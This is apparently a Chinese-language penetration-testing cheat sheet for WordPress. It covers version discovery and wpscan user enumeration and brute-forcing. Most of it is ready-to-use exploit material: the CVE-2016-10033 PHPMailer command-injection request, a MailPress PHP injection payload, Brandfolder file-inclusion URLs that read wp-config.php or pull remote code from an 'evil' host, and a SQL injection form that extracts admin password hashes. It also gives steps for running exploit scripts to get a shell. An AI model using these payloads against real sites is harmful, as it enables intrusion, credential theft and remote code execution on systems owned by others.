跳转至

Wordpress

查看版本号:

1、进入后台“仪表盘”,该页面的左上角图片显示了wordpress的版本号。 2、查看网页源代码 在网站的主页空白处点右键弹出菜单,选择“查看网页源代码”。 在出现的源码页面里查找 <meta name="generator" content= Content值就是wordpress的版本号。 3、查看readme.html文件 进入wampsever的www目录下网站文件所在的文件夹 (一般为C:\wamp\www\example.com),打开“readme”,该文件的正上方显著的位置写着wordpress的版本。


Wpscan

wpscan --url 192.168.22.131:802 --enumerate u #扫描用户
wpscan --url 192.168.22.131:802 --wordlist darkc0de.lst --username admin #对admin进行暴力破解
wpscan --url 192.168.22.131:802 --enumerate p #扫描插件


WordPress<4.6任意命令执行(PHPmailer)(CVE-2016-10033)

测试:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin
会创建/tmp/success

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

执行的命令不能包含大量特殊字符,如:、引号等。 命令会被转换成小写字母 命令需要使用绝对路径 需要知道某一个存在的用户的用户名

直接使用PHPmailer.py即可getshell

将脚本中target修改成你的目标,user修改成一个已经存在的用户,shell_url修改成你放置payload的网址。(或直接将target作为第一个参数、shell_url作为第二个参数)


mailpress

使用攻击代码触发漏洞

http://你的 IP 地址:端口号/wp-content/plugins/mailpress/mp-includes/action.php

POST data:

action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1

返回结果如下:

<wp_ajax><response action="autosave_2"><autosave id="2" old_id="2" position="1"><response_data>Draft saved at pm5:58:36.</response_data><supplemental><tipe>mail</tipe></supplemental></autosave></response></wp_ajax>

记录 autosave 中的 id 的值,留作下一步使用

访问存在漏洞页面获取结果

http://你的 IP 地址:端口号/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=上一步中返回的文章id号

Brandfolder 插件版本<3.0 文件包含

http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=LFI/RFI
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=http://evil/


Double Opt-In for Download 插件版本<2.0.9 sql注入 先以普通用户登录,以下内容另存为html访问

<form name="xss" action="http://wp/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">
        <input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">
        <input type="submit" value="Send">
</form>

或者直接使用DoubleOpt-In.py

1、 下载并安装 BugScan SDK

详见 BugScan 插件开发文档 - 环境配置

2、 修改 DoubleOpt-In.py 中地址为容器地址

if __name__ == '__main__':
   from dummy import *
   audit(assign(fingerprint.wordpress, "http://localhost:8000")[1])

3、 修改 DoubleOpt-In.py 中的 cookie 值

4、 运行 DoubleOpt-In.py

$ python DoubleOpt-In.py

CYSTEME Finder 1.3

修改CYSTEME.py中的 TARGET_HOST后,执行并按提示操作


Product Catalog 8 1.2.0 1、需要BugScan SDK 2、修改 ProductCatalog.py 中地址为容器地址

if __name__ == '__main__':
   from dummy import *
   audit(assign(fingerprint.wordpress, "http://127.0.0.1:8000")[1])

3、修改 ProductCatalog.py 中的 cookie 值